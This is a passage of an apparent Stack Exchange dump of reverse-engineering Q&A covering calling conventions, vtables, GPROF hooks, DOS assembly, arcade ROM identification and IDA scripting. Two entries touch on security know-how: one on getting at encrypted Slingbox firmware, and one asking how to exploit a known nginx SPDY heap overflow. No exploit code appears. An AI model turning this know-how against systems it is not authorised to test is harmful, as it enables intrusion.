    I am probably late for this, but for future visitors:\nthe parameters to sub_457048 are passed in eax and edx. The call to _grSstScreenHeight is returned in eax and then saved in ebx, and finally moved in edx.\nThe call to _grSstScreenWidth is returned in eax.

    \n\n

    so sub_457048 will be eax (width) and edx (height) which is correct.

    \n\n

    The intermediate step to store the value in ebx, is because it's not known to the caller if _grSstScreenWidth will overwrite edx (as it is allowed to, according to the STDCALL calling convention https://en.wikipedia.org/wiki/X86_calling_conventions#stdcall). On the other hand, _grSstScreenWidth has to preserve ebx.

    \n\n

    You're right however, IDA did not seem to see that the value returned by _grSstScreenWidth was to be stored in v4

    \n" }, { "Id": "12608", "CreationDate": "2016-05-08T17:06:21.630", "Body": "

    I'm trying to call a function with a function pointer in C++, but I can't find any convention that fits it. Its stack arguments are (right to left):

    \n\n
    func(float x, float y, int unk);\n
    \n\n

    ...but ecx needs to be pointing to a buffer it can use for output / storage. That would be __thiscall, but the caller cleans up the stack (adds 12 to esp). This is what I have right now:

    \n\n
    ((void(__thiscall*)(char*,float,float,int))(0x1234567))(a, b, c);\n
    \n\n

    but it causes the application to crash because the stack isn't evened.

    \n\n

    How can I call this?

    \n", "Title": "How can I call a function that acts like __thiscall, except the caller cleans the stack?", "Tags": "|x86|c++|calling-conventions|", "Answer": "

    Sounds like you have a variadic __thiscall function (printf-like). Those use ecx for this but the remaining arguments are pushed onto the stack and the caller cleans it up.

    \n" }, { "Id": "12609", "CreationDate": "2016-05-08T20:17:50.847", "Body": "

    meanwhile, I am learning more and more how to reverse engineer. Ive figured out tons of stuff already, but I came to the point, where I just need some little explanation whats going on in the constructor of a specific class.

    \n\n

    I know, that this specific class (Class A) inherits 3 other Classes (lets say: class B, class C, class D).\nClass A calls the constructors of B,C,D. Everything up to here is clear for me.

    \n\n

    But:

    \n\n

    Class D has a method \"addListener\" which points to an attribute (this + 0x34).

    \n\n

    (this + 0x34) is assigned in the constructor to a address..

    \n\n
    int A::A(void *someObject) {\n    B::B();\n    C::C();\n\n    *this = 0x1f18e8;\n    *(this + 0x28) = 0x1f190c;         // whats going here?\n    *(this + 0x34) = 0x1f193c;         // and here?\n\n    // Ive seen, that those addressees are inside of the vtable of Class A\n    // \n    //     __ZTV12A:        // vtable for A\n    // ...\n    // 001f18e8         db  0xc6\n    // 001f193c         db  0xb0\n    // 001f190c         db  0xba\n    // ...\n\n    D::D();\n\n    // Some other attributes, but these are clear for me (just \n    // have to name them right, by figuring out where these attributes are used):\n\n    *(this + 0x38) = someObject;\n    *(this + 0x3c) = 0x0;\n    *(this + 0x50) = 0x0;\n    *(this + 0x54) = 0x0;\n    *(this + 0x40) = 0xffffffff;\n    *(this + 0x44) = 0xffffffff;\n    *(this + 0x48) = 0xffffffff;\n    *(this + 0x4c) = 0x0;\n\n    D::addListener(this + 0x34);\n}\n
    \n\n

    Am I right with my conclusion, that D::addListener() adds the class it self to the listener?

    \n\n

    In fact I just want to figure out what kind of object is added to the \"listener\":

    \n\n
        D::addListener(this + 0x34);\n
    \n\n

    I hope my question is clear enough :)

    \n", "Title": "Whats going on in this Class Constructor?", "Tags": "|disassembly|x86|c++|address|pointer|", "Answer": "

    Your question is a bit unclear as you first say \"Class C has a method \"addListerner\" which points to an attribute (this + 0x34).\", then D::addListener(this + 0x34);. Typo?

    \n\n

    Also, you should read about (typical) implementations of multiple inheritance. Assume your classes B, C, D have methods b, c, d respectively. A will inherit all of them. Now, if A does not override these methods, and anything calls them, they have to be delegated to the correct superclass - the original methods. But these original methods will expect a class layout that corresponds to the original classes. Which means, A needs to \"embed\" all 3 classes into itself.

    \n\n

    Which means A will be laid out like this:

    \n\n
    +-----+-------------------+\n|  00 | vtable of A       |\n+-----+-------------------+\n|  04 | member 1 of A     |\n|  08 | member 2 of A     |\n|     | ...               |\n+-----+-------------------+\n|  28 | vtable of B       |\n+-----+-------------------+\n|  2c | member 1 of B     |\n|  30 | member 2 of B     |\n|     | ...               |\n+-----+-------------------+\n|  34 | vtable of C       |\n+-----+-------------------+\n|  38 | member 1 of C     |\n|  3c | member 2 of C     |\n|     | ...               |\n+-----+-------------------+\n|  ?? | vtable of D       |\n+-----+-------------------+\n|  ?? | member 1 of D     |\n|  ?? | member 2 of D     |\n|     | ...               |\n+-----+-------------------+\n
    \n\n

    So, yes, your conclusion is correct: D::addListener() adds the class itself to the listener. But because D::addListener() expects a D, not an A, the thing that's passed isn't the complete A, it's just the part of A that makes D. To make this look exactly like a D, it needs its own vtable that looks like a D vtable.

    \n\n

    But of course, parts of these vtables can be shared. A needs all methods in its vtable, so the vtable pointers of the partial classes B, C and D can point to the appropriate part of the As vtable, they don't need their complete own copies.

    \n\n

    As to your \"what's going on here\" questions - these initialize the vtables of the partial classes. (In your assembly listing, you should treat those addresses as arrays of words, not bytes). What i wonder is why there's only 3 of them, there should be 4 for A, B, C and D. Something seems to be confused or omitted here, just like you said \"Class C has\" first, then used D::addListener.

    \n" }, { "Id": "12619", "CreationDate": "2016-05-10T12:18:20.053", "Body": "

    I was playing around with Intel Pin and OllyDbg. And now I came up with the next question. Imagine we have PE32 executable that are able to run on both Windows 7 and Windows 10 (or any other versions of Windows). If I will use the same disassembler on both OS's will it produce the same assembly code for the same binary? (I don't have a possibility to check it right now) If yes, does this mean that if executable doesn't rely on some very version-specific functions of OS it will produce the same CPU and memory activity (if we have similar hardware with different OS versions) while running under different OS versions? What about the same OS but different CPU's?

    \n\n

    In other words will the following code result in the same activity under different OS's on the same hardware, and under same OS but diferent hardware?

    \n\n
    MOV EBX, [VAR_NAME]     \nMOV [EBX], 110  \n
    \n\n

    Thank you.

    \n", "Title": "How the same executable runs on different OS and hardware types?", "Tags": "|disassembly|windows|ollydbg|pe|pintool|", "Answer": "

    Yes, that code will always do the same thing, for some reasonable definition of \"same\".

    \n\n

    If it didn't, no windows 7 program would be able to work with windows 8, and no windows 8 program would be able to work with windows 10. As long as programs only use documented OS APIs, Microsoft \"guarantees\" that they behave the same over a variety of Windows versions.

    \n\n

    Of course, there are differences; Windows 10 GUIs look quite different from Windows 7 GUIs. So you could say your program behaves differently; that's because the business logic of your program is within the program itself; the window-drawing-and-decoration stuff is done in Windows libraries. That's why i said \"reasonable definition\" of \"same\".

    \n\n

    Also, different OSes may lay out memory differently; the address that VAR_NAME refers to might be quite different between Windows 7 and Windows 10. In fact, since the introduction of ASLR, the address may - and in most cases will - change if you run the same program twice on the same machine. All that the OS guarantees is that during one single invocation of the program, the address will not change. Which means all your [VAR_NAME] references will use the same chunk of memory, which is really all your program cares about.

    \n\n

    Next, Windows uses virtual addressing for its processes, which means the address your program sees has nothing (easily discernible) to do with the actually used memory address. The physical page your variable is mapped to may change, repeatedly, while your program is running. So again, lots of things that happen may be different, but your program won't notice (unless it tries hard to).

    \n\n

    And on the hardware level, lots of things are different as well between CPUs; for example, they have different cache implementations. Which means one CPU might actually access memory every time you read your variable, while another accesses it only once and keeps it in cache. So again, lots of things that happen can be different.

    \n\n

    The good new is, your program doesn't want or need to care about it; the OS hides this stuff from your program. From within your program, your instructions always do the same thing - they set a variable to 110, and unless something changes it, it will be 110 the next time you read it. Which is, in fact, all that a normal program needs to know.

    \n\n

    You also asked if the disassembly will always be the same. Yes it will, in almost all cases. The same executable will always have the same content (assuming no malware changes stuff ...) which translates to the same assembly. However, some executable formats will allow you to combine more than one executable into one simple file. Apple did this when they moved from one architecture to another. So if you have one of those binaries, it will contain two versions of the same program, one for the PowerPC architecture, and one for the x64 architecture, which, of course, translate to very different disassembled code. But this is not something that should concern you while you're working with Windows. (I seem to remember MS had something similar with Windows 2000 which suported various architectures, but i don't have a reference right now, so i may be wrong; also, this hasn't been a thing for at least 10 years now).

    \n" }, { "Id": "12623", "CreationDate": "2016-05-10T17:40:25.800", "Body": "

    Whenever I hover over a SSE variable, e.g.:

    \n\n

    correct = tmp_corr;

    \n\n

    Which are both declared as __m128 IDA shows them as a string of bytes, e.g. \"\\x00\\x00...\" sometimes even weird characters...

    \n\n

    Is there anyway to make it display it as 4 floats instead or similar?

    \n", "Title": "IDA debugging SSE intrinsics", "Tags": "|ida|hexrays|", "Answer": "

    Was a bit lazy to answer this myself so here we go.

    \n\n

    Basically, it seems to display the registers just fine (XMM), so if you press TAB while on Psuedo Code it will take back to where it points to in assembly display, and then you can hover on the XMM register and it will display it nicely.

    \n" }, { "Id": "12625", "CreationDate": "2016-05-10T21:58:47.487", "Body": "

    How can I find the address of a Windows kernel function?

    \n\n

    In this case I'm trying to find CreateThread.

    \n\n

    Can this be done from a debugger? Olly/Immunity?

    \n", "Title": "Find Address of Windows Kernel Functions", "Tags": "|windows|debuggers|", "Answer": "

    In Ollydbg you can select the disassembly windows and hit CTRL + g. A dialog box will show up and just enter CreateThread in it. The search is case sensitive.

    \n\n

    EDIT

    \n\n

    This does not work for Windows Kernel functions but it does work for any function from a DLL that is imported by the program being debugged. Since you are searching for CreateThread address, I assume that is what you meant from your question.

    \n" }, { "Id": "12632", "CreationDate": "2016-05-11T05:14:52.900", "Body": "

    I compiled a simple helloworld and took a look at the disassembly using objdump.

    \n\n

    At the beginning there is the _init:

    \n\n
    0000000000400600 <_init>:\n  400600:   48 83 ec 08             sub    rsp,0x8\n  400604:   48 8b 05 ed 09 20 00    mov    rax,QWORD PTR [rip+0x2009ed]        # 600ff8 <_DYNAMIC+0x1e0>\n  40060b:   48 85 c0                test   rax,rax\n  40060e:   74 05                   je     400615 <_init+0x15>\n  400610:   e8 1b 00 00 00          call   400630 <__gmon_start__@plt>\n  400615:   48 83 c4 08             add    rsp,0x8\n  400619:   c3                      ret    \n
    \n\n

    What is _DYNAMIC?\nUsing -x I can see the section details:

    \n\n
    Dynamic Section:\n  NEEDED               libstdc++.so.6\n  NEEDED               libc.so.6\n  INIT                 0x0000000000400600\n  FINI                 0x0000000000400864\n  INIT_ARRAY           0x0000000000600df8\n  INIT_ARRAYSZ         0x0000000000000010\n  FINI_ARRAY           0x0000000000600e08\n  FINI_ARRAYSZ         0x0000000000000008\n  GNU_HASH             0x0000000000400298\n  STRTAB               0x00000000004003c8\n  SYMTAB               0x00000000004002c0\n  STRSZ                0x000000000000011c\n  SYMENT               0x0000000000000018\n  DEBUG                0x0000000000000000\n  PLTGOT               0x0000000000601000\n  PLTRELSZ             0x0000000000000090\n  PLTREL               0x0000000000000007\n  JMPREL               0x0000000000400570\n  RELA                 0x0000000000400540\n  RELASZ               0x0000000000000030\n  RELAENT              0x0000000000000018\n  VERNEED              0x0000000000400500\n  VERNEEDNUM           0x0000000000000002\n  VERSYM               0x00000000004004e4\n
    \n\n

    However, I am not sure which entry is rip+0x2009ed referring to.\nConsidering that the next line is a call to gmon, does it have anything to do with a GPROF hook?

    \n", "Title": "How does GPROF hook to the program?", "Tags": "|assembly|x86-64|", "Answer": "

    This is a trick that's used by the initialization code to support monitoring when it's compiled in, and omit it when it isn't compiled in.

    \n\n

    When i compile a small test program using gcc -pg, then invoke objdump -Mintel -d on it, i get:

    \n\n
    00000000004004c0 <_init>:\n  4004c0:   48 83 ec 08             sub    rsp,0x8\n  4004c4:   48 8d 05 c5 00 00 00    lea    rax,[rip+0xc5]        # 400590 <__gmon_start__>\n  4004cb:   48 85 c0                test   rax,rax\n  4004ce:   74 05                   je     4004d5 <_init+0x15>\n  4004d0:   e8 bb 00 00 00          call   400590 <__gmon_start__>\n  4004d5:   48 83 c4 08             add    rsp,0x8\n  4004d9:   c3                      ret    \n
    \n\n

    If i omit the -pg when compiling, this changes to:

    \n\n
    0000000000400418 <_init>:\n  400418:   48 83 ec 08             sub    rsp,0x8\n  40041c:   48 8b 05 d5 0b 20 00    mov    rax,QWORD PTR [rip+0x200bd5]        # 600ff8 <_DYNAMIC+0x1d0>\n  400423:   48 85 c0                test   rax,rax\n  400426:   74 05                   je     40042d <_init+0x15>\n  400428:   e8 43 00 00 00          call   400470 <__gmon_start__@plt>\n  40042d:   48 83 c4 08             add    rsp,0x8\n  400431:   c3                      ret    \n
    \n\n

    So you see that, with monitoring enabled, the code checks if __gmon_start__ is not null before calling the function. With monitoring disabled, it checks some variable, and if it is 0, it skips the call to __gmon_start__.

    \n\n

    But wait. Why do we have a lea in the first case, and a mov in the second one? And why does the name end in @plt ?\nBecause, even if your program doesn't have profiling compiled in, maybe some of your dynamic libraries do, and maybe you're running against a profiling-enabled version of the C library. So the C library may provide a dynamic version of __gmon_start__, and it provides a flag to mark if it does so. This function and flag are defined in the GOT and GOTPLT sections.

    \n\n

    And indeed, if you note the address that's used, 600FF8, and scroll down the objdump -x output a bit from your section details, you'll see:

    \n\n
     21 .got          00000008  0000000000600ff8  0000000000600ff8  00000ff8  2**3\n                  CONTENTS, ALLOC, LOAD, DATA\n 22 .got.plt      00000038  0000000000601000  0000000000601000  00001000  2**3\n                  CONTENTS, ALLOC, LOAD, DATA\n
    \n\n

    you'll see the code accesses a GOT table entry (which, for a small test program, is the only entry in the GOT there is, which is why GOT is just 8 bytes in size).

    \n" }, { "Id": "12639", "CreationDate": "2016-05-12T02:25:24.357", "Body": "

    I found firmware for Slingbox 500 by sniffing the outgoing connections it is making. Having trouble making heads or tails of it though. I'd really love to see the filesystem because it's running dropbear ssh server!

    \n\n

    files as follow, were obtained from http://mdconfig.sling.com/config/v2/type/ngsb/product/intrepidCbfu/version/01.10.095.json --

    \n\n
    {\n\"payload\":\n    \"{\"config\":\n        {\n         \"updateVersion\":\"01.10.102\",\n         \"rebootTimeMsec\":68000,\n         \"firmwareComponents\":\n            {\n            \"appfsRecovery\":\n                {\n                    \"critical\":false,\n                    \"crc\":123,\n                    \"order\":1,\n                    \"reboot\":false,\n                    \"url\":\"www.navjit.com\",\n                    \"size\":123,\n                    \"version\":\"0.5.102\"\n                },\n            \"uImageMain\":\n                {\n                    \"critical\":false,\n                    \"crc\":1863698014,\n                    \"order\":2,\n                    \"reboot\":false,\n                    \"url\":\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/s_fw4_uImage_mips_gz_118.bin\",\n                    \"size\":5463888,\n                    \"version\":\"1.9.118\"\n                },\n            \"FW3\":\n                {\n                    \"critical\":false,\n                    \"crc\":2050778634,\n                    \"order\":3,\n                    \"reboot\":false,\n                    \"url\":\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw3_f_p_1_5_432.bin\",\n                    \"size\":262144,\n                    \"version\":\"1.5.432\"\n                },\n            \"FW2\":\n                {\n                    \"critical\":false,\n                    \"crc\":2050778634,\n                    \"order\":4,\n                    \"reboot\":false,\n                    \"url\":\"www.navjit.com\",\n                    \"size\":123,\n                    \"version\":\"0.5.472\"\n                },\n            \"FW1\":\n                {\n                    \"critical\":false,\n                    \"crc\":123,\n                    \"order\":5,\n                    \"reboot\":false,\n                    \"url\":\"www.navjit.com\",\n                    \"size\":123,\n                    \"version\":\"0.5.472\"\n                },\n            \"uImageRecovery\":\n                {\n                    \"critical\":false,\n                    \"crc\":123,\n                    \"order\":0,\n                    \"reboot\":false,\n                    \"url\":\"www.navjit.com\",\n                    \"size\":123,\n                    \"version\":\"1.5.002\"\n                }\n            },\n        \"applications\":\n            {\n                \"sbCore\":\n                    {\n                        \"urlMeta\":\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/FW5_SIG_01_10_102.tar\",\n                        \"critical\":false,\n                        \"sizeMeta\":10240,\n                        \"reboot\":true,\n                        \"type\":\"file_system\",\n                        \"url\":\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw5_full_01.10.102_nand.ubi.gz.aes\",\n                        \"version\":\"01.10.102\",\n                        \"size\":99865328\n                    }\n            }\n        }\n    }\",\n\n        \"header\":\n            {\n                \"signatureEncoding\":\"base64\",\n                \"msgType\":\"plain\",\n                \"signature\":\" MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAADGCAg8wggILAgEBMHkwdDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFDASBgNVBAoTC1NsaW5nIE1lZGlhMRMwEQYDVQQDEwpNRCBET1dOIENBMSUwIwYJKoZIhvcNAQkBFhZtZGFkbWluQHNsaW5nbWVkaWEuY29tAgEDMA0GCWCGSAFlAwQCAQUAoGkwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTYwNDI3MDYxNzIyWjAvBgkqhkiG9w0BCQQxIgQgdMg3fnkpkxTXkZzmAgvCH613L0YpH70/9yGDYSN0D7YwDQYJKoZIhvcNAQEBBQAEggEApKOkHp4k8EgaMxPIxelQX2E2iKP91HgUnx4lkYkffirQU5ObvIFWd4DAyEmb6QO8X3BVA/tWnDDaIwunUy/2WVjgcwyTiSLr20tPlEPDJcACEQERx2xzAss3Y+voeXmwBrmDWFXn5ILNUN86GsL3mUyfySR6ZPly4Wu2Krb55e58FIu9WqS6ynCD1Qdt4djQ6VgeG+2+CBmUp7mvoemgr+Kzs0wNCOOm9/561Cqsl3MCbHrt8hXikcb2lTyH3UkNRlBmYt66hb7MB1r1osT8KLLERuJ1kFOhYf6edefTFjyQVM/EUUwK5TO5NzFGB8wosG9jzbLpbE9qXQrj62j6tAAAAAAAAA==\",\n\"configEncoding\":\"none\"\n            }\n}\n
    \n\n

    Binwalk is blank on both of these files:

    \n\n
    \n \n
    \n\n

    The following tar file expands into three separate files:

    \n\n
    \n \n
    \n\n

    And probably the most interesting file which appears thoroughly encrypted (95 MB):

    \n\n
    \n \n
    \n\n

    So here I am wondering if there is a chance to get further or if I'm stuck. I'm not against hardware tinkering, though I would certainly be clumsy with it and would require some handholding. Any thoughts? Thanks.

    \n", "Title": "help getting at encrypted firmware [includes .SMIME and .gz.aes files]", "Tags": "|firmware|encryption|", "Answer": "

    Most likely the decryption key is hardcoded in the firmware on the device or in some storage there. You will probably need to get into the device somehow to figure out how it does the firmware update decryption.

    \n" }, { "Id": "12645", "CreationDate": "2016-05-12T11:03:28.723", "Body": "

    Both IDA Pro and OllyDBG automatically analyze the binary on load to identify whats code and data. I assume its a complicated process and I would like to learn more about this process.

    \n\n

    How is this process refered to and are you guys aware of any resources about this subject?

    \n\n

    I also composed a list of interesting information that can be read from the executable (taken from IDA Pro). Anything to add?

    \n\n\n", "Title": "Automated static code analysis", "Tags": "|ida|ollydbg|", "Answer": "

    This is answered at length in The IDA PRO Book by Chris Eagle.

    \n\n

    In particular, the entire first chapter is dedicated to this topic.

    \n\n

    I would highly recommend purchasing a copy:\nhttps://www.nostarch.com/idapro2.htm

    \n\n

    The electronic version is excellent for searching things like this.

    \n\n

    Outside of the book, I would recommend consulting this StackExchange question, which discusses Recurisve Descent dissassembly:\nWhat is the algorithm used in Recursive Traversal disassembly?

    \n" }, { "Id": "12652", "CreationDate": "2016-05-13T06:37:32.680", "Body": "

    I just got into reversing, i'm a bit puzzled by a part of the following code.\nI know what its doing, from a technical aspect, but i don't really understand why its doing it.

    \n\n

    This is the part I have a question about.

    \n\n
    seg005:292F                 test    si, 1           ; ?\nseg005:2933                 jz      short loc_21587\nseg005:2935                 movsb                   ; move byte DS:SI to ES:DI\nseg005:2936                 dec     cx\n
    \n\n

    Why check to see if the LSB is set and, if it is, move only one byte before moving the rest of the string? Does this have to do with alignment? That's the best explanation I can think up.

    \n\n

    The entire function is below. All comments and names were filled out by me. Any other notes/comments on them or the function as a whole are appreciated.\nThanks.

    \n\n
    seg005:290A\nseg005:290A ; =============== S U B R O U T I N E =======================================\nseg005:290A\nseg005:290A ; Attributes: bp-based frame\nseg005:290A\nseg005:290A StringConcat    proc far                ; CODE XREF: sub_1FFED+16P\nseg005:290A                                         ; sub_1FFED+3AP ...\nseg005:290A\nseg005:290A Destination     = word ptr  6\nseg005:290A Source          = word ptr  8\nseg005:290A\nseg005:290A                 push    bp\nseg005:290B                 mov     bp, sp\nseg005:290D                 push    si              ; save SI\nseg005:290E                 push    di              ; save DI\nseg005:290F                 cld                     ; clear direction flag.\nseg005:2910                 mov     di, [bp+Destination]\nseg005:2913                 push    ds              ; move ds....\nseg005:2914                 pop     es              ; ...into es\nseg005:2915                 mov     dx, di\nseg005:2917                 xor     al, al          ; al = search char. 0x0\nseg005:2919                 mov     cx, 0FFFFh\nseg005:291C                 repne scasb\nseg005:291E                 lea     si, [di-1]      ; last char in string\nseg005:2921                 mov     di, [bp+Source]\nseg005:2924                 mov     cx, 0FFFFh\nseg005:2927                 repne scasb\nseg005:2929                 not     cx              ; length of string\nseg005:292B                 sub     di, cx          ; move back to the start of the string?\nseg005:292D                 xchg    si, di          ; si = start of source string.\nseg005:292D                                         ; di = end ofdestination string\nseg005:292F                 test    si, 1           ; ?\nseg005:2933                 jz      short loc_21587\nseg005:2935                 movsb                   ; move byte DS:SI to ES:DI\nseg005:2936                 dec     cx\nseg005:2937\nseg005:2937 loc_21587:                              ; CODE XREF: StringConcat+29j\nseg005:2937                 shr     cx, 1           ; Divide cx by 2. Moving words, not bytes, so half the size\nseg005:2939                 rep movsw               ; move words DS:SI to ES:DI CX times\nseg005:293B                 jnb     short loc_2158E\nseg005:293D                 movsb\nseg005:293E\nseg005:293E loc_2158E:                              ; CODE XREF: StringConcat+31j\nseg005:293E                 xchg    ax, dx\nseg005:293F                 pop     di\nseg005:2940                 pop     si\nseg005:2941                 pop     bp\nseg005:2942                 retf\nseg005:2942 StringConcat    endp\n
    \n", "Title": "16 bit Dos string concat function", "Tags": "|ida|static-analysis|dos-exe|", "Answer": "

    It's a minor speed optimization. The main loop for moving characters use movsw (move words) which was probably slightly faster than moving bytes. However, in case the number of bytes is odd, one byte would be left uncopied, and that's why there is an extra mosvb before and after it (so the extra byte is moved before or after, depending on alignment of the string address).

    \n" }, { "Id": "12654", "CreationDate": "2016-05-13T22:15:10.960", "Body": "

    So I got a couple super old chips from what looked like an arcade. The game-board they game with is OK I think. The CRT monitor is wrecked, however the chips are still good.

    \n\n

    I stuck them in my Chip reader and did a dump of them.Had a poke around to see if there was anything I could do with them, perhaps make an emulator ext. However I don't quite understand what it means. I'm not sure if there encoded, or if i'm trying to decode them with the wrong Character-set. I'm pretty sure these are the sting outputs of the game, I first thought, OK well there probably in another language. But google has no clue.

    \n\n

    Tried UTF-8, EBCDIC, etc.

    \n\n

    Whats posted is it in ASCII.\nGoogled the model number of the board, no dice.

    \n\n

    The chips where labeled U4-U8

    \n\n

    Here is a snipit of the first chip:

    \n\n
    00047600  73 20 6f 20 61 20 6f 63  20 68 20 6f 62 65 64 77  |s o a oc h obedw|\n00047610  20 75 74 6e 74 20 6f 62  65 00 79 75 20 65 2c 72  | utnt obe.yu e,r|\n00047620  63 69 65 6f 65 6d 72 20  61 64 20 6e 20 74 6e 2e  |cieoemr ad n tn.|\n00047630  00 6f 63 20 68 20 70 69  20 75 74 6e 74 20 70 69  |.oc h pi utnt pi|\n00047640  20 20 61 72 69 74 20 77  20 61 64 2c 00 65 63 20  |  arit w ad,.ec |\n00047650  74 74 65 63 72 65 74 62  74 61 6f 6e 2e 20 6f 72  |ttecretbtaon. or|\n00047660  2c 6e 20 6c 63 6a 63 73  00 6f 20 6f 62 65 64 77  |,n lcjcs.o obedw|\n00047670  73 6f 20 70 69 20 61 64  2e 00 6c 79 72 77 6e 20  |so pi ad..lyrwn |\n00047680  69 68 36 63 72 73 61 20  31 70 69 74 20 72 6c 73  |ih6crsa 1pit rls|\n00047690  2e 00 65 6c 72 73 61 64  20 6e 31 20 72 6d 72 20  |..elrsad n1 rmr |\n000476a0  6f 6e 73 6f 20 6e 36 63  72 73 0a 54 79 74 20 6f  |onso n6crs.Tyt o|\n000476b0  62 65 77 6e 69 67 20 79  70 65 73 6e 20 6f 62 65  |bewnig ypesn obe|\n000476c0  75 20 75 74 6e 0a 20 63  73 63 75 74 68 67 2c 61  |u utn. cscuthg,a|\n000476d0  64 38 69 20 6c 61 73 61  70 73 2e 00 40 00 41 00  |d8i lasaps..@.A.|\n000476e0  42 00 43 00 44 00 45 00  46 00 47 00 48 00 49 00  |B.C.D.E.F.G.H.I.|\n000476f0  4a 00 4b 00 4c 00 50 00  51 00 52 00 53 00 54 00  |J.K.L.P.Q.R.S.T.|\n00047700  55 00 56 00 57 00 4d 00  20 00 21 00 22 00 23 00  |U.V.W.M. .!.\".#.|\n00047710  24 00 25 00 26 00 27 00  28 00 29 00 2a 00 2b 00  |$.%.&.'.(.).*.+.|\n00047720  2c 00 30 00 31 00 32 00  33 00 34 00 35 00 36 00  |,.0.1.2.3.4.5.6.|\n00047730  37 00 2d 00 00 00 01 00  02 00 03 00 04 00 05 00  |7.-.............|\n00047740  06 00 07 00 08 00 09 00  0a 00 0b 00 0c 00 10 00  |................|\n00047750  11 00 12 00 13 00 14 00  15 00 16 00 17 00 0d 00  |................|\n
    \n\n

    I figured a group of security people would probably have seen encoding or encryption like this before and might point me in the right direction.

    \n\n

    Or hell, they might be encrypted, there was a label for \"Security chip\" on the board, however it was missing.

    \n\n

    Any idea what encoding this is, or if its encrypted?

    \n\n

    Dumps: https://mega.nz/#!W8UwiQBS!17g3GMBniRPBcqOuDXVGZZoYh1qOZAJzJIdh-rpk5kQ

    \n", "Title": "What is the encoding of some old arcade chips?", "Tags": "|hardware|", "Answer": "

    These four files are 2 interleaved sets of ROMs for the arcade game \"Pot-O-Gold\", by Leisure Time Technology, dated \"OCTOBER 1999\".

    \n\n

    This image shows your labelled chips, also bearing the abbreviation \"POG\":\n\"super\n(located on http://newlifegames.net/nlg/index.php?topic=14784.0) plus an additional unlabeled one.

    \n\n

    The first pair is U4 + U7; combining them shows a few texts and, at offset 0x37876, a 16x16 monochrome font. The font starts at space and continues well into accented characters, following Code Page 437, all the way up to the capital \u00d1. After that comes an \u00d8, followed by some specialist (probably in-game) characters. A very similar 8x8 character set starts at 0x75FEA. This strongly suggests a modern PC was used to create the game, and in-game texts are basically encoded as Code Page 437.

    \n\n

    About halfway into the combined file, there is a huge chunk of text for changing the settings; it starts around PROGRESSIVE CONFIG SHOULD BE DONE ON A MASTER MACHINE. Some of the texts are in Norwegian (?).

    \n\n

    The second pair is U5 + U8. Combining them shows it starts with the names of the sub-games: DOUBLE-UP KENO, SUPER DOUBLE-UP, and so on. It also contains lots of detailed in-game help texts. The final half of the file is blank, consisting only of 0xFF bytes.

    \n\n

    I did not find a good reference for what CPU drives this, and I don't recognize code (probably) as Z80, Intel, ARM, or MC680XX. I also cannot readily determine if word data is stored little or big endian.

    \n" }, { "Id": "12661", "CreationDate": "2016-05-16T18:14:18.990", "Body": "

    I am looking for a way to obtain the pseudocode of a function via a script. I am using IDAPro 6.9 on OS X 10.11.4 (El Capitan).

    \n\n

    I did locate this documentation on using the decompiler in batch mode:

    \n\n

    https://www.hex-rays.com/products/decompiler/manual/batch.shtml

    \n\n

    If I am interpreting the documentation correctly, it would seem to indicate that I can execute:

    \n\n

    idal -Ohexx86:decompiled_output:function_name -A myidapro.idb

    \n\n

    and it will produce the pseudocode for function_name and write the result to decompiled_output. Is this correct?

    \n\n

    When I try this, it just launches the text interface and no output file is created. I can, of course, launch the GUI and view the pseudocode of function_name.

    \n\n

    Additionally, if there is a way to obtain the pseudocode of a function via a python script running within idapro, that would be the preferred option, but it is unclear to me whether that is possible.

    \n", "Title": "Obtaining the Pseudocode of a function via a script", "Tags": "|ida|decompilation|ida-plugin|script|", "Answer": "

    You can use the following function:

    \n\n
    def decompile_func(ea):\n  if not init_hexrays_plugin():\n    return False\n\n  f = get_func(ea)\n  if f is None:\n    return False\n\n  cfunc = decompile(f);\n  if cfunc is None:\n    # Failed to decompile\n    return False\n\n  lines = []\n  sv = cfunc.get_pseudocode();\n  for sline in sv:\n    line = tag_remove(sline.line);\n    lines.append(line)\n  return \"\\n\".join(lines)\n\nprint decompile_func(here())\n
    \n\n

    This is a modification of the example vds1.py script.

    \n" }, { "Id": "12664", "CreationDate": "2016-05-17T01:38:11.253", "Body": "

    Is it possible to configure the decomplier so it will generate code for the entire function and not just the parts it thinks can be reached?

    \n\n

    The disassemblier sees the alternate code path, but the decomplier won't generate the code for it.

    \n", "Title": "Decompiler skipping code it determined cannot be reached", "Tags": "|ida|disassembly|", "Answer": "

    As far as I know there is no such configuration for hex rays decompiler. However it is possible that this code was not generated because of incorrect definition of function prototype (for example the list of parameters of the function is incomplete). You can see a bit more details about this in decompler FAQ .

    \n\n

    Another reason I can imagine is incomplete control flow graph of the function.\nThis may happen because a lot of reasons, for example incorrectly defined switch statement in it.

    \n" }, { "Id": "12665", "CreationDate": "2016-05-17T08:07:47.180", "Body": "

    i am to web applications so i have recently published my website and ran a penetration test using Acunetix Vulnerability scanner\nso i have found the following result and for me to experience a lot about web apps i would like experiment on this website penetrate my site see if i can successfully run arbitary code send emails do stuffs inside my website.

    \n\n

    Acunetix vulnerability results

    \n\n

    A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the \"spdy\" option of the \"listen\" directive is used in a configuration file.\nAffected items

    \n\n

    thank you

    \n", "Title": "how can one cause heap memory buffer overflow in a worker process by using a specially crafted request?", "Tags": "|malware|websites|", "Answer": "

    I have not used Acunetix before, since I do not rely on automated assessment tools personally. However, I would assume, that Acunetix does the service banner grabbing, identifies the version reported there, and then matches it against a know database of vulnerabilities without actually verifying if the exploit conditions are true. Since the latter is typically left to human pentester to execute and confirm.

    \n\n

    If you Google for \"nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12\", you would find at least:

    \n\n
    \n \n
    \n\n

